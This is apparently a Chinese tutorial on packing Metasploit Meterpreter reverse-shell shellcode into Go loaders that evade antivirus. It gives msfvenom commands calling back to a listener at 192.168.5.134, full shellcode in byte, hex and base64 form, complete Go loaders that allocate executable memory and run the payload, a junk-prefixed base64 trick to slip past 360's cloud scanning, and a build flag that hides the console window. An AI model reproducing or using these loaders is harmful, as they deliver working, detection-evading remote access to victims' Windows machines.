1. 概述


1.1 下载

  1. https://golang.org/dl/


1.2 使用

  1. https://www.runoob.com/go/go-environment.html

2. Go嵌入shellcode


2.1 生成shellcode


直接使用Msf生成c语言版本的shellcode,需要生成x64位的

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.134 lport=1111 -f c

image.png

2.2 Shellcode格式转换


将shellcode进行格式转换,转换为以下格式:

  1. 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x56,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x41,0x51,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x04,0x57,0xc0,0xa8,0x05,0x86,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

2.3 代码


将shellcode加载到相应的代码中

  1. package main
  2. import (
  3. "io/ioutil"
  4. "os"
  5. "syscall"
  6. "unsafe"
  7. )
  8. const (
  9. MEM_COMMIT = 0x1000
  10. MEM_RESERVE = 0x2000
  11. PAGE_EXECUTE_READWRITE = 0x40
  12. )
  13. var (
  14. kernel32 = syscall.MustLoadDLL("kernel32.dll")
  15. ntdll = syscall.MustLoadDLL("ntdll.dll")
  16. VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
  17. RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
  18. shellcode_buf = []byte{
  19. 0xfc, 0x48, ----shellcode----, 0xd5,
  20. }
  21. )
  22. func checkErr(err error) {
  23. if err != nil {
  24. if err.Error() != "The operation completed successfully." {
  25. println(err.Error())
  26. os.Exit(1)
  27. }
  28. }
  29. }
  30. func main() {
  31. shellcode := shellcode_buf
  32. if len(os.Args) > 1 {
  33. shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
  34. checkErr(err)
  35. shellcode = shellcodeFileData
  36. }
  37. addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  38. if addr == 0 {
  39. checkErr(err)
  40. }
  41. _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  42. checkErr(err)
  43. syscall.Syscall(addr, 0, 0, 0, 0)
  44. }


嵌入shellcode后的代码如下所示:

  1. package main
  2. import (
  3. "io/ioutil"
  4. "os"
  5. "syscall"
  6. "unsafe"
  7. )
  8. const (
  9. MEM_COMMIT = 0x1000
  10. MEM_RESERVE = 0x2000
  11. PAGE_EXECUTE_READWRITE = 0x40
  12. )
  13. var (
  14. kernel32 = syscall.MustLoadDLL("kernel32.dll")
  15. ntdll = syscall.MustLoadDLL("ntdll.dll")
  16. VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
  17. RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
  18. shellcode_buf = []byte{
  19. 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x56,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x41,0x51,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x04,0x57,0xc0,0xa8,0x05,0x86,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
  20. }
  21. )
  22. func checkErr(err error) {
  23. if err != nil {
  24. if err.Error() != "The operation completed successfully." {
  25. println(err.Error())
  26. os.Exit(1)
  27. }
  28. }
  29. }
  30. func main() {
  31. shellcode := shellcode_buf
  32. if len(os.Args) > 1 {
  33. shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
  34. checkErr(err)
  35. shellcode = shellcodeFileData
  36. }
  37. addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  38. if addr == 0 {
  39. checkErr(err)
  40. }
  41. _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  42. checkErr(err)
  43. syscall.Syscall(addr, 0, 0, 0, 0)
  44. }

直接使用go build生成相应的exe程序
image.png

2.4 执行exe

运行后直接上线
image.png

2.5 免杀


使用go嵌入shellcode静态动态均可免杀。
image.png

3. Go加载器


3.1 加载器


直接通过以下链接下载:

  1. https://github.com/brimstone/go-shellcode


下载后,进入go-shellcode\cmd\sc目录,执行go build,生成sc.exe
image.png

3.2 生成shellcode

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.5.134 LPORT=3333

image.png

3.3 加载shellcode

  1. sc.exe fc4883e4f0e8cc00000041514150524831d265488b52605156488b5218488b5220488b72504d31c9480fb74a4a4831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b020f85720000008b80880000004885c074674801d050448b40208b48184901d0e3564d31c948ffc9418b34884801d64831c041c1c90dac4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b048841584801d041585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000d05c0a8058641544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5

image.png

3.4 免杀


动态和静态均被杀

4. 自己写个shellcode


4.1 原因

使用上面的加载器或嵌入shellcode在某些场景下会被360云查杀干掉,所以可以自己写个shellcode加载器来加载shellcode,这里面使用田欢同学写的加载器,直接将shellcode先base64,这种容易被杀,所以在base64编码后在前面随便加两个字符,解码前先去掉这两个字符,然后再base64解码,相应的go代码详见:
生成的加载器为ysg.exe
image.png
go加载器代码为:

  1. package main
  2. import (
  3. "encoding/base64"
  4. "flag"
  5. "fmt"
  6. "strconv"
  7. "strings"
  8. "syscall"
  9. "unsafe"
  10. )
  11. const (
  12. MEM_COMMIT = 0x1000
  13. MEM_RESERVE = 0x2000
  14. PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
  15. KEY_1 = 55
  16. KEY_2 = 66
  17. )
  18. var (
  19. kernel32 = syscall.MustLoadDLL("kernel32.dll")
  20. ntdll = syscall.MustLoadDLL("ntdll.dll")
  21. VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
  22. RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
  23. )
  24. func main() {
  25. p := flag.String("shellcode", "xxx", "--cs生成的shellcode取其中格式如\\xzz\\xzz....的部分base64 然后在生成的base64前随便加两个字符!!!")
  26. flag.Parse()
  27. if *p == "xxx" {
  28. fmt.Println("需要 -shellcode 参数 输入 --help 查看帮助")
  29. return
  30. }
  31. tmp_str := *p
  32. if len(*p)%4 == 0 {
  33. fmt.Println("要在base64前面加两个参数!!!")
  34. return
  35. }
  36. var shellcode []byte
  37. shellcode_byte, _ := base64.StdEncoding.DecodeString(tmp_str[2:])
  38. payload := string(shellcode_byte)
  39. payload = strings.ReplaceAll(payload, "\\x", "")
  40. var tmp string
  41. var js int = 0
  42. for i := 0; i < len(payload)/2; i = i + 1 {
  43. tmp = payload[js : js+2]
  44. tmp_byte, err1 := strconv.ParseInt(tmp, 16, 32)
  45. if err1 != nil {
  46. fmt.Println(err1.Error())
  47. return
  48. }
  49. shellcode = append(shellcode, uint8(tmp_byte))
  50. js = js + 2
  51. }
  52. addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  53. if err != nil && err.Error() != "The operation completed successfully." {
  54. fmt.Println("error------------------------------")
  55. fmt.Println(err.Error())
  56. }
  57. _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  58. if err != nil && err.Error() != "The operation completed successfully." {
  59. fmt.Println(err.Error())
  60. }
  61. syscall.Syscall(addr, 0, 0, 0, 0)
  62. }


4.2 生成shellcode

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.5.134 LPORT=3333

image.png

4.3 Base64编码


将shellcode进行base64编码,
image.png
在base64编码前随便加两个字符,里面的1f是加的,解码的时候会先去掉这两个字符,然后再解码

  1. 1fZmM0ODgzZTRmMGU4Y2MwMDAwMDA0MTUxNDE1MDUyNDgzMWQyNjU0ODhiNTI2MDUxNTY0ODhiNTIxODQ4OGI1MjIwNDg4YjcyNTA0ZDMxYzk0ODBmYjc0YTRhNDgzMWMwYWMzYzYxN2MwMjJjMjA0MWMxYzkwZDQxMDFjMWUyZWQ1MjQxNTE0ODhiNTIyMDhiNDIzYzQ4MDFkMDY2ODE3ODE4MGIwMjBmODU3MjAwMDAwMDhiODA4ODAwMDAwMDQ4ODVjMDc0Njc0ODAxZDA1MDQ0OGI0MDIwOGI0ODE4NDkwMWQwZTM1NjRkMzFjOTQ4ZmZjOTQxOGIzNDg4NDgwMWQ2NDgzMWMwNDFjMWM5MGRhYzQxMDFjMTM4ZTA3NWYxNGMwMzRjMjQwODQ1MzlkMTc1ZDg1ODQ0OGI0MDI0NDkwMWQwNjY0MThiMGM0ODQ0OGI0MDFjNDkwMWQwNDE4YjA0ODg0MTU4NDgwMWQwNDE1ODVlNTk1YTQxNTg0MTU5NDE1YTQ4ODNlYzIwNDE1MmZmZTA1ODQxNTk1YTQ4OGIxMmU5NGJmZmZmZmY1ZDQ5YmU3NzczMzI1ZjMzMzIwMDAwNDE1NjQ5ODllNjQ4ODFlY2EwMDEwMDAwNDk4OWU1NDliYzAyMDAwZDA1YzBhODA1ODY0MTU0NDk4OWU0NGM4OWYxNDFiYTRjNzcyNjA3ZmZkNTRjODllYTY4MDEwMTAwMDA1OTQxYmEyOTgwNmIwMGZmZDU2YTBhNDE1ZTUwNTA0ZDMxYzk0ZDMxYzA0OGZmYzA0ODg5YzI0OGZmYzA0ODg5YzE0MWJhZWEwZmRmZTBmZmQ1NDg4OWM3NmExMDQxNTg0Yzg5ZTI0ODg5Zjk0MWJhOTlhNTc0NjFmZmQ1ODVjMDc0MGE0OWZmY2U3NWU1ZTg5MzAwMDAwMDQ4ODNlYzEwNDg4OWUyNGQzMWM5NmEwNDQxNTg0ODg5Zjk0MWJhMDJkOWM4NWZmZmQ1ODNmODAwN2U1NTQ4ODNjNDIwNWU4OWY2NmE0MDQxNTk2ODAwMTAwMDAwNDE1ODQ4ODlmMjQ4MzFjOTQxYmE1OGE0NTNlNWZmZDU0ODg5YzM0OTg5Yzc0ZDMxYzk0OTg5ZjA0ODg5ZGE0ODg5Zjk0MWJhMDJkOWM4NWZmZmQ1ODNmODAwN2QyODU4NDE1NzU5NjgwMDQwMDAwMDQxNTg2YTAwNWE0MWJhMGIyZjBmMzBmZmQ1NTc1OTQxYmE3NTZlNGQ2MWZmZDU0OWZmY2VlOTNjZmZmZmZmNDgwMWMzNDgyOWM2NDg4NWY2NzViNDQxZmZlNzU4NmEwMDU5NDljN2MyZjBiNWEyNTZmZmQ1


4.4 加载shellcode


直接使用ysg.exe -shellcode shellcode来加载
image.png

4.5 免杀


动态和静态均可免杀


4.5.1 静态免杀

image.png

4.5.2 动态免杀

image.png

4.6 小问题

因为go写的加载器或嵌入shellcode的工具需要使用cmd执行,这个时候cmd一直要运行,否则就会掉线
解决办法”上线前配置迁移,上线就迁移到系统进程中,这样就可以关了cmd了
这里面还有一种解决方式,就是执行的时候加个命令:

  1. go build -trimpath -ldflags="-w -s -H=windowsgui"